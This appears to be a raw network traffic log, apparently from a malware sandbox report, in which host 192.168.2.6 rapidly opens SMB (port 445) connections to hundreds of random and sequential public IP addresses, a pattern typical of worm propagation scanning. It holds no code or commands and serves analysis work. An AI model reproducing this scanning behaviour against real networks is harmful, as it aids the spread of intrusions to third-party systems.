Jul 20, 2022 06:08:24.440227032 CEST	54657	445	192.168.2.6	176.241.42.56
Jul 20, 2022 06:08:24.493007898 CEST	445	54657	176.241.42.56	192.168.2.6
Jul 20, 2022 06:08:24.584253073 CEST	445	54654	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:24.585311890 CEST	54654	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:24.689039946 CEST	54610	445	192.168.2.6	147.126.250.122
Jul 20, 2022 06:08:24.751513004 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:24.753220081 CEST	54661	445	192.168.2.6	152.189.163.65
Jul 20, 2022 06:08:24.753782988 CEST	54662	445	192.168.2.6	57.143.49.226
Jul 20, 2022 06:08:24.754312038 CEST	54663	445	192.168.2.6	74.218.183.54
Jul 20, 2022 06:08:24.754359007 CEST	445	54654	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:24.754475117 CEST	54654	445	192.168.2.6	107.186.37.10
Jul 20, 2022 06:08:24.754991055 CEST	54664	445	192.168.2.6	60.154.98.149
Jul 20, 2022 06:08:24.755487919 CEST	54665	445	192.168.2.6	149.34.104.233
Jul 20, 2022 06:08:24.784286022 CEST	54667	445	192.168.2.6	77.109.10.155
Jul 20, 2022 06:08:24.812685966 CEST	445	54610	147.126.250.122	192.168.2.6
Jul 20, 2022 06:08:24.829652071 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:24.872956991 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:24.872997046 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:24.873059988 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:24.873708010 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:24.873723030 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:24.923362970 CEST	445	54654	107.186.37.10	192.168.2.6
Jul 20, 2022 06:08:24.986507893 CEST	54671	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:24.996279955 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:24.996402025 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:24.998620987 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:24.998640060 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:24.998980999 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:25.001507998 CEST	54657	445	192.168.2.6	176.241.42.56
Jul 20, 2022 06:08:25.003098965 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:25.003144026 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:25.003158092 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:25.003304958 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:25.031471968 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:25.031572104 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:25.031666040 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:25.031810045 CEST	54670	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:08:25.031838894 CEST	443	54670	20.199.120.85	192.168.2.6
Jul 20, 2022 06:08:25.052500963 CEST	445	54664	60.154.98.149	192.168.2.6
Jul 20, 2022 06:08:25.055610895 CEST	445	54657	176.241.42.56	192.168.2.6
Jul 20, 2022 06:08:25.080940008 CEST	54672	445	192.168.2.6	123.22.142.24
Jul 20, 2022 06:08:25.156522036 CEST	445	54671	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.156627893 CEST	54671	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.156757116 CEST	54671	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.158837080 CEST	54673	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.176924944 CEST	54676	445	192.168.2.6	87.90.253.2
Jul 20, 2022 06:08:25.177145958 CEST	54678	445	192.168.2.6	193.145.100.123
Jul 20, 2022 06:08:25.177189112 CEST	54680	445	192.168.2.6	39.212.123.91
Jul 20, 2022 06:08:25.177258968 CEST	54681	445	192.168.2.6	216.190.146.249
Jul 20, 2022 06:08:25.177855015 CEST	54684	445	192.168.2.6	1.228.164.17
Jul 20, 2022 06:08:25.193202972 CEST	54685	445	192.168.2.6	129.133.211.227
Jul 20, 2022 06:08:25.193500042 CEST	54687	445	192.168.2.6	139.103.98.239
Jul 20, 2022 06:08:25.193615913 CEST	54691	445	192.168.2.6	82.47.28.95
Jul 20, 2022 06:08:25.193634987 CEST	54692	445	192.168.2.6	178.26.221.81
Jul 20, 2022 06:08:25.193726063 CEST	54693	445	192.168.2.6	111.108.230.229
Jul 20, 2022 06:08:25.193759918 CEST	54694	445	192.168.2.6	58.85.1.188
Jul 20, 2022 06:08:25.193803072 CEST	54695	445	192.168.2.6	52.138.6.158
Jul 20, 2022 06:08:25.221019983 CEST	54699	445	192.168.2.6	222.177.164.249
Jul 20, 2022 06:08:25.227296114 CEST	54712	445	192.168.2.6	52.143.93.246
Jul 20, 2022 06:08:25.227837086 CEST	54713	445	192.168.2.6	112.242.244.130
Jul 20, 2022 06:08:25.230515003 CEST	54719	445	192.168.2.6	25.156.42.250
Jul 20, 2022 06:08:25.231859922 CEST	54722	445	192.168.2.6	30.162.211.30
Jul 20, 2022 06:08:25.232986927 CEST	54724	445	192.168.2.6	1.206.2.137
Jul 20, 2022 06:08:25.233338118 CEST	54725	445	192.168.2.6	142.176.48.144
Jul 20, 2022 06:08:25.326791048 CEST	445	54671	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.326807976 CEST	445	54671	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.327969074 CEST	445	54673	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.328104019 CEST	54673	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.328613997 CEST	54673	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.471766949 CEST	54727	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:25.496886015 CEST	445	54673	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.497055054 CEST	54673	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.501379967 CEST	445	54727	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:25.501480103 CEST	54727	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:25.502784967 CEST	54728	445	192.168.2.6	37.21.160.91
Jul 20, 2022 06:08:25.502929926 CEST	54729	445	192.168.2.6	176.241.42.57
Jul 20, 2022 06:08:25.503005028 CEST	54727	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:25.531110048 CEST	445	54727	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:25.531486034 CEST	54727	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:25.560637951 CEST	445	54727	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:25.560838938 CEST	54727	445	192.168.2.6	178.159.42.83
Jul 20, 2022 06:08:25.564106941 CEST	54664	445	192.168.2.6	60.154.98.149
Jul 20, 2022 06:08:25.590078115 CEST	445	54727	178.159.42.83	192.168.2.6
Jul 20, 2022 06:08:25.659056902 CEST	54731	445	192.168.2.6	178.159.42.84
Jul 20, 2022 06:08:25.666511059 CEST	445	54673	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.666759968 CEST	54673	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:25.687598944 CEST	445	54731	178.159.42.84	192.168.2.6
Jul 20, 2022 06:08:25.835325956 CEST	445	54673	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:25.863044977 CEST	445	54664	60.154.98.149	192.168.2.6
Jul 20, 2022 06:08:25.869596004 CEST	54732	445	192.168.2.6	40.235.173.72
Jul 20, 2022 06:08:25.871228933 CEST	54733	445	192.168.2.6	3.109.7.11
Jul 20, 2022 06:08:25.899146080 CEST	54734	445	192.168.2.6	46.55.141.196
Jul 20, 2022 06:08:25.899245977 CEST	54735	445	192.168.2.6	10.200.217.2
Jul 20, 2022 06:08:25.900799036 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:25.902264118 CEST	54739	445	192.168.2.6	143.179.99.156
Jul 20, 2022 06:08:25.934196949 CEST	445	54742	134.220.131.40	192.168.2.6
Jul 20, 2022 06:08:25.934323072 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:25.935060978 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:25.967577934 CEST	445	54743	134.220.131.1	192.168.2.6
Jul 20, 2022 06:08:25.967758894 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:25.970195055 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.003287077 CEST	445	54744	134.220.131.1	192.168.2.6
Jul 20, 2022 06:08:26.003398895 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.189130068 CEST	54731	445	192.168.2.6	178.159.42.84
Jul 20, 2022 06:08:26.189871073 CEST	54745	445	192.168.2.6	216.149.212.196
Jul 20, 2022 06:08:26.215761900 CEST	445	54731	178.159.42.84	192.168.2.6
Jul 20, 2022 06:08:26.236006975 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:26.236855030 CEST	54746	445	192.168.2.6	87.90.253.3
Jul 20, 2022 06:08:26.267270088 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.283444881 CEST	54586	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:26.286026001 CEST	54748	445	192.168.2.6	59.69.27.149
Jul 20, 2022 06:08:26.287830114 CEST	54751	445	192.168.2.6	94.77.51.26
Jul 20, 2022 06:08:26.287859917 CEST	54752	445	192.168.2.6	177.253.103.251
Jul 20, 2022 06:08:26.287986040 CEST	54754	445	192.168.2.6	84.68.112.190
Jul 20, 2022 06:08:26.314136028 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.316965103 CEST	54757	445	192.168.2.6	163.238.84.32
Jul 20, 2022 06:08:26.320775032 CEST	54758	445	192.168.2.6	181.106.143.240
Jul 20, 2022 06:08:26.320981979 CEST	54763	445	192.168.2.6	163.98.165.228
Jul 20, 2022 06:08:26.321027040 CEST	54764	445	192.168.2.6	205.50.11.195
Jul 20, 2022 06:08:26.321065903 CEST	54765	445	192.168.2.6	211.193.4.215
Jul 20, 2022 06:08:26.321136951 CEST	54766	445	192.168.2.6	16.22.199.68
Jul 20, 2022 06:08:26.321187973 CEST	54767	445	192.168.2.6	186.218.157.119
Jul 20, 2022 06:08:26.330849886 CEST	54771	445	192.168.2.6	173.134.191.13
Jul 20, 2022 06:08:26.339111090 CEST	54784	445	192.168.2.6	130.252.96.4
Jul 20, 2022 06:08:26.339766979 CEST	54785	445	192.168.2.6	107.1.230.170
Jul 20, 2022 06:08:26.343574047 CEST	54791	445	192.168.2.6	132.30.144.73
Jul 20, 2022 06:08:26.346409082 CEST	54794	445	192.168.2.6	194.231.239.92
Jul 20, 2022 06:08:26.348078966 CEST	54796	445	192.168.2.6	151.9.168.115
Jul 20, 2022 06:08:26.348824978 CEST	54797	445	192.168.2.6	75.86.96.247
Jul 20, 2022 06:08:26.501663923 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:26.532994986 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.579866886 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:26.588634968 CEST	54799	445	192.168.2.6	176.241.42.58
Jul 20, 2022 06:08:26.589519024 CEST	54800	445	192.168.2.6	37.21.160.92
Jul 20, 2022 06:08:26.722385883 CEST	54801	445	192.168.2.6	178.159.42.85
Jul 20, 2022 06:08:26.814205885 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:26.861145020 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:26.987257004 CEST	54803	445	192.168.2.6	159.151.70.160
Jul 20, 2022 06:08:26.989170074 CEST	54804	445	192.168.2.6	1.170.9.47
Jul 20, 2022 06:08:27.004802942 CEST	54805	445	192.168.2.6	110.115.128.94
Jul 20, 2022 06:08:27.006433010 CEST	54806	445	192.168.2.6	169.206.222.68
Jul 20, 2022 06:08:27.009794950 CEST	54809	445	192.168.2.6	23.143.123.152
Jul 20, 2022 06:08:27.111129999 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:27.142388105 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:27.189776897 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:27.316762924 CEST	54814	445	192.168.2.6	84.158.211.229
Jul 20, 2022 06:08:27.316778898 CEST	54815	445	192.168.2.6	87.90.253.4
Jul 20, 2022 06:08:27.425621986 CEST	54818	445	192.168.2.6	34.51.81.151
Jul 20, 2022 06:08:27.425623894 CEST	54819	445	192.168.2.6	145.226.237.156
Jul 20, 2022 06:08:27.427319050 CEST	54821	445	192.168.2.6	77.21.186.111
Jul 20, 2022 06:08:27.427402020 CEST	54822	445	192.168.2.6	150.230.153.207
Jul 20, 2022 06:08:27.442492962 CEST	54826	445	192.168.2.6	18.227.130.253
Jul 20, 2022 06:08:27.442677975 CEST	54827	445	192.168.2.6	182.249.125.46
Jul 20, 2022 06:08:27.443074942 CEST	54831	445	192.168.2.6	191.8.74.135
Jul 20, 2022 06:08:27.443247080 CEST	54832	445	192.168.2.6	82.34.42.222
Jul 20, 2022 06:08:27.443478107 CEST	54834	445	192.168.2.6	108.138.97.7
Jul 20, 2022 06:08:27.447077036 CEST	54836	445	192.168.2.6	32.216.168.97
Jul 20, 2022 06:08:27.447213888 CEST	54837	445	192.168.2.6	116.66.218.77
Jul 20, 2022 06:08:27.464464903 CEST	445	54819	145.226.237.156	192.168.2.6
Jul 20, 2022 06:08:27.464584112 CEST	54819	445	192.168.2.6	145.226.237.156
Jul 20, 2022 06:08:27.470491886 CEST	54840	445	192.168.2.6	180.102.191.8
Jul 20, 2022 06:08:27.472645044 CEST	54853	445	192.168.2.6	43.42.175.125
Jul 20, 2022 06:08:27.472809076 CEST	54854	445	192.168.2.6	181.194.109.141
Jul 20, 2022 06:08:27.473264933 CEST	54860	445	192.168.2.6	126.170.145.174
Jul 20, 2022 06:08:27.476320028 CEST	54863	445	192.168.2.6	140.237.149.239
Jul 20, 2022 06:08:27.476386070 CEST	54864	445	192.168.2.6	169.101.85.93
Jul 20, 2022 06:08:27.476536036 CEST	54866	445	192.168.2.6	129.166.2.244
Jul 20, 2022 06:08:27.659718990 CEST	54868	445	192.168.2.6	176.241.42.59
Jul 20, 2022 06:08:27.660366058 CEST	54869	445	192.168.2.6	37.21.160.93
Jul 20, 2022 06:08:27.800017118 CEST	54870	445	192.168.2.6	178.159.42.86
Jul 20, 2022 06:08:28.112071991 CEST	54872	445	192.168.2.6	6.154.1.239
Jul 20, 2022 06:08:28.112688065 CEST	54873	445	192.168.2.6	8.21.186.92
Jul 20, 2022 06:08:28.129743099 CEST	54878	445	192.168.2.6	176.178.91.208
Jul 20, 2022 06:08:28.129964113 CEST	54881	445	192.168.2.6	81.124.51.176
Jul 20, 2022 06:08:28.130008936 CEST	54877	445	192.168.2.6	22.22.205.238
Jul 20, 2022 06:08:28.314361095 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:28.345670938 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:28.392539978 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:28.393673897 CEST	54883	445	192.168.2.6	87.90.253.5
Jul 20, 2022 06:08:28.441947937 CEST	54884	445	192.168.2.6	210.142.23.101
Jul 20, 2022 06:08:28.552305937 CEST	54890	445	192.168.2.6	30.31.187.73
Jul 20, 2022 06:08:28.553720951 CEST	54892	445	192.168.2.6	164.235.204.243
Jul 20, 2022 06:08:28.554927111 CEST	54893	445	192.168.2.6	81.26.170.133
Jul 20, 2022 06:08:28.555072069 CEST	54894	445	192.168.2.6	117.108.210.80
Jul 20, 2022 06:08:28.569567919 CEST	54895	445	192.168.2.6	174.11.179.244
Jul 20, 2022 06:08:28.569957018 CEST	54896	445	192.168.2.6	104.249.234.156
Jul 20, 2022 06:08:28.570018053 CEST	54899	445	192.168.2.6	58.188.27.42
Jul 20, 2022 06:08:28.570069075 CEST	54901	445	192.168.2.6	120.128.202.249
Jul 20, 2022 06:08:28.570236921 CEST	54903	445	192.168.2.6	168.192.167.101
Jul 20, 2022 06:08:28.570347071 CEST	54906	445	192.168.2.6	86.107.5.79
Jul 20, 2022 06:08:28.570404053 CEST	54907	445	192.168.2.6	50.51.29.193
Jul 20, 2022 06:08:28.604291916 CEST	54909	445	192.168.2.6	73.106.51.113
Jul 20, 2022 06:08:28.604758024 CEST	54923	445	192.168.2.6	68.4.48.102
Jul 20, 2022 06:08:28.605047941 CEST	54930	445	192.168.2.6	88.254.105.65
Jul 20, 2022 06:08:28.605106115 CEST	54929	445	192.168.2.6	56.19.31.102
Jul 20, 2022 06:08:28.605223894 CEST	54933	445	192.168.2.6	164.197.194.139
Jul 20, 2022 06:08:28.605269909 CEST	54934	445	192.168.2.6	69.244.227.72
Jul 20, 2022 06:08:28.606182098 CEST	54935	445	192.168.2.6	8.222.197.195
Jul 20, 2022 06:08:28.752851963 CEST	54936	445	192.168.2.6	176.241.42.60
Jul 20, 2022 06:08:28.784363985 CEST	54937	445	192.168.2.6	37.21.160.94
Jul 20, 2022 06:08:28.847215891 CEST	54939	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:28.887398958 CEST	54940	445	192.168.2.6	178.159.42.87
Jul 20, 2022 06:08:29.016459942 CEST	445	54939	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:29.016577959 CEST	54939	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:29.016845942 CEST	54939	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:29.186430931 CEST	445	54939	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:29.186611891 CEST	54939	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:29.239705086 CEST	54943	445	192.168.2.6	81.73.98.249
Jul 20, 2022 06:08:29.239784002 CEST	54945	445	192.168.2.6	175.247.77.140
Jul 20, 2022 06:08:29.239938974 CEST	54948	445	192.168.2.6	56.113.119.173
Jul 20, 2022 06:08:29.240001917 CEST	54951	445	192.168.2.6	172.92.193.37
Jul 20, 2022 06:08:29.240057945 CEST	54952	445	192.168.2.6	12.102.155.78
Jul 20, 2022 06:08:29.357188940 CEST	445	54939	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:29.357606888 CEST	54939	445	192.168.2.6	107.186.37.11
Jul 20, 2022 06:08:29.473068953 CEST	54954	445	192.168.2.6	87.90.253.6
Jul 20, 2022 06:08:29.529494047 CEST	445	54939	107.186.37.11	192.168.2.6
Jul 20, 2022 06:08:29.566787004 CEST	54955	445	192.168.2.6	40.171.14.101
Jul 20, 2022 06:08:29.603039980 CEST	54956	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.676497936 CEST	54959	445	192.168.2.6	212.239.134.80
Jul 20, 2022 06:08:29.677823067 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:29.724431992 CEST	54964	445	192.168.2.6	166.206.230.63
Jul 20, 2022 06:08:29.724673033 CEST	54965	445	192.168.2.6	59.99.209.240
Jul 20, 2022 06:08:29.727153063 CEST	54969	445	192.168.2.6	212.113.184.37
Jul 20, 2022 06:08:29.727282047 CEST	54966	445	192.168.2.6	69.29.181.36
Jul 20, 2022 06:08:29.727478981 CEST	54971	445	192.168.2.6	202.80.126.56
Jul 20, 2022 06:08:29.727837086 CEST	54973	445	192.168.2.6	94.253.125.79
Jul 20, 2022 06:08:29.728012085 CEST	54974	445	192.168.2.6	139.62.14.165
Jul 20, 2022 06:08:29.728215933 CEST	54975	445	192.168.2.6	107.199.177.90
Jul 20, 2022 06:08:29.728473902 CEST	54977	445	192.168.2.6	5.106.140.250
Jul 20, 2022 06:08:29.741081953 CEST	54981	445	192.168.2.6	192.249.220.138
Jul 20, 2022 06:08:29.741736889 CEST	54996	445	192.168.2.6	96.136.119.149
Jul 20, 2022 06:08:29.741977930 CEST	55000	445	192.168.2.6	31.122.146.129
Jul 20, 2022 06:08:29.742105007 CEST	55002	445	192.168.2.6	203.225.81.224
Jul 20, 2022 06:08:29.742290020 CEST	55005	445	192.168.2.6	158.205.179.124
Jul 20, 2022 06:08:29.742387056 CEST	55006	445	192.168.2.6	195.52.251.216
Jul 20, 2022 06:08:29.742619038 CEST	55007	445	192.168.2.6	132.110.82.71
Jul 20, 2022 06:08:29.775302887 CEST	445	54956	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:29.775558949 CEST	54956	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.775587082 CEST	54956	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.777668953 CEST	55008	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.816320896 CEST	55009	445	192.168.2.6	176.241.42.61
Jul 20, 2022 06:08:29.829442978 CEST	445	54960	128.110.36.51	192.168.2.6
Jul 20, 2022 06:08:29.829600096 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:29.830585003 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:29.846848965 CEST	55011	445	192.168.2.6	37.21.160.95
Jul 20, 2022 06:08:29.948951960 CEST	445	55008	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:29.949182987 CEST	55008	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.949404955 CEST	55008	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:29.949829102 CEST	445	54956	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:29.949850082 CEST	445	54956	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:29.956011057 CEST	55013	445	192.168.2.6	178.159.42.88
Jul 20, 2022 06:08:29.981381893 CEST	445	55010	128.110.36.1	192.168.2.6
Jul 20, 2022 06:08:29.982397079 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:29.998064995 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:30.121052027 CEST	445	55008	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:30.121270895 CEST	55008	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:30.147368908 CEST	445	55014	128.110.36.1	192.168.2.6
Jul 20, 2022 06:08:30.147485971 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:30.267616987 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:30.291012049 CEST	445	55008	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:30.291239023 CEST	55008	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:30.360038996 CEST	55017	445	192.168.2.6	81.0.67.176
Jul 20, 2022 06:08:30.360330105 CEST	55019	445	192.168.2.6	200.194.78.112
Jul 20, 2022 06:08:30.360388994 CEST	55020	445	192.168.2.6	96.3.128.135
Jul 20, 2022 06:08:30.360555887 CEST	55024	445	192.168.2.6	23.32.218.48
Jul 20, 2022 06:08:30.360635042 CEST	55026	445	192.168.2.6	45.157.18.116
Jul 20, 2022 06:08:30.423978090 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:30.463922024 CEST	445	55008	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:30.559103012 CEST	55028	445	192.168.2.6	87.90.253.7
Jul 20, 2022 06:08:30.595874071 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:30.678119898 CEST	55029	445	192.168.2.6	138.43.35.143
Jul 20, 2022 06:08:30.705223083 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:30.720863104 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:30.752120018 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:30.783354998 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:30.790411949 CEST	55034	445	192.168.2.6	60.36.68.94
Jul 20, 2022 06:08:30.798916101 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:30.835778952 CEST	55036	445	192.168.2.6	137.12.109.90
Jul 20, 2022 06:08:30.836527109 CEST	55037	445	192.168.2.6	9.242.159.122
Jul 20, 2022 06:08:30.837191105 CEST	55038	445	192.168.2.6	189.108.239.65
Jul 20, 2022 06:08:30.838926077 CEST	55040	445	192.168.2.6	83.106.35.199
Jul 20, 2022 06:08:30.842959881 CEST	55042	445	192.168.2.6	172.173.137.47
Jul 20, 2022 06:08:30.844932079 CEST	55045	445	192.168.2.6	133.128.155.41
Jul 20, 2022 06:08:30.845662117 CEST	55046	445	192.168.2.6	99.133.126.142
Jul 20, 2022 06:08:30.845832109 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:30.846663952 CEST	55047	445	192.168.2.6	190.221.157.94
Jul 20, 2022 06:08:30.847453117 CEST	55048	445	192.168.2.6	13.232.243.97
Jul 20, 2022 06:08:30.851090908 CEST	55053	445	192.168.2.6	78.72.20.13
Jul 20, 2022 06:08:30.851809025 CEST	55054	445	192.168.2.6	119.149.248.165
Jul 20, 2022 06:08:30.852463961 CEST	55055	445	192.168.2.6	209.82.25.137
Jul 20, 2022 06:08:30.854430914 CEST	55058	445	192.168.2.6	11.127.105.211
Jul 20, 2022 06:08:30.855801105 CEST	55060	445	192.168.2.6	74.137.217.223
Jul 20, 2022 06:08:30.858978033 CEST	55064	445	192.168.2.6	160.174.126.39
Jul 20, 2022 06:08:30.906791925 CEST	55079	445	192.168.2.6	171.188.152.234
Jul 20, 2022 06:08:30.907754898 CEST	55080	445	192.168.2.6	176.241.42.62
Jul 20, 2022 06:08:30.951844931 CEST	55081	445	192.168.2.6	37.21.160.96
Jul 20, 2022 06:08:31.033354044 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:31.064590931 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:31.069669008 CEST	55083	445	192.168.2.6	178.159.42.89
Jul 20, 2022 06:08:31.093760967 CEST	445	55034	60.36.68.94	192.168.2.6
Jul 20, 2022 06:08:31.097125053 CEST	445	55083	178.159.42.89	192.168.2.6
Jul 20, 2022 06:08:31.471786976 CEST	55087	445	192.168.2.6	102.81.132.157
Jul 20, 2022 06:08:31.473376036 CEST	55089	445	192.168.2.6	202.230.11.111
Jul 20, 2022 06:08:31.474124908 CEST	55090	445	192.168.2.6	54.7.88.54
Jul 20, 2022 06:08:31.477616072 CEST	55095	445	192.168.2.6	44.232.161.115
Jul 20, 2022 06:08:31.478674889 CEST	55096	445	192.168.2.6	110.137.94.111
Jul 20, 2022 06:08:31.595905066 CEST	55034	445	192.168.2.6	60.36.68.94
Jul 20, 2022 06:08:31.611541986 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:31.611582994 CEST	55083	445	192.168.2.6	178.159.42.89
Jul 20, 2022 06:08:31.633037090 CEST	55097	445	192.168.2.6	87.90.253.8
Jul 20, 2022 06:08:31.639863968 CEST	445	55083	178.159.42.89	192.168.2.6
Jul 20, 2022 06:08:31.736582994 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:31.800367117 CEST	55099	445	192.168.2.6	206.134.176.28
Jul 20, 2022 06:08:31.902606964 CEST	445	55034	60.36.68.94	192.168.2.6
Jul 20, 2022 06:08:31.910276890 CEST	55102	445	192.168.2.6	35.188.92.194
Jul 20, 2022 06:08:31.925492048 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:31.960095882 CEST	55107	445	192.168.2.6	211.24.242.93
Jul 20, 2022 06:08:31.960402966 CEST	55110	445	192.168.2.6	168.233.8.54
Jul 20, 2022 06:08:31.960406065 CEST	55111	445	192.168.2.6	41.79.137.92
Jul 20, 2022 06:08:31.960627079 CEST	55113	445	192.168.2.6	51.166.240.97
Jul 20, 2022 06:08:31.960659981 CEST	55114	445	192.168.2.6	149.222.15.113
Jul 20, 2022 06:08:31.960741997 CEST	55115	445	192.168.2.6	205.58.170.60
Jul 20, 2022 06:08:31.985884905 CEST	55116	445	192.168.2.6	176.241.42.63
Jul 20, 2022 06:08:31.987998962 CEST	55117	445	192.168.2.6	35.192.92.90
Jul 20, 2022 06:08:31.988106012 CEST	55118	445	192.168.2.6	126.56.44.1
Jul 20, 2022 06:08:31.988194942 CEST	55119	445	192.168.2.6	139.3.2.20
Jul 20, 2022 06:08:31.988457918 CEST	55124	445	192.168.2.6	50.249.184.169
Jul 20, 2022 06:08:31.988531113 CEST	55125	445	192.168.2.6	119.121.84.21
Jul 20, 2022 06:08:31.988617897 CEST	55126	445	192.168.2.6	30.216.219.12
Jul 20, 2022 06:08:31.988738060 CEST	55127	445	192.168.2.6	154.152.148.100
Jul 20, 2022 06:08:31.988905907 CEST	55130	445	192.168.2.6	88.220.62.87
Jul 20, 2022 06:08:31.989120960 CEST	55134	445	192.168.2.6	32.16.160.159
Jul 20, 2022 06:08:32.025855064 CEST	55150	445	192.168.2.6	82.71.135.165
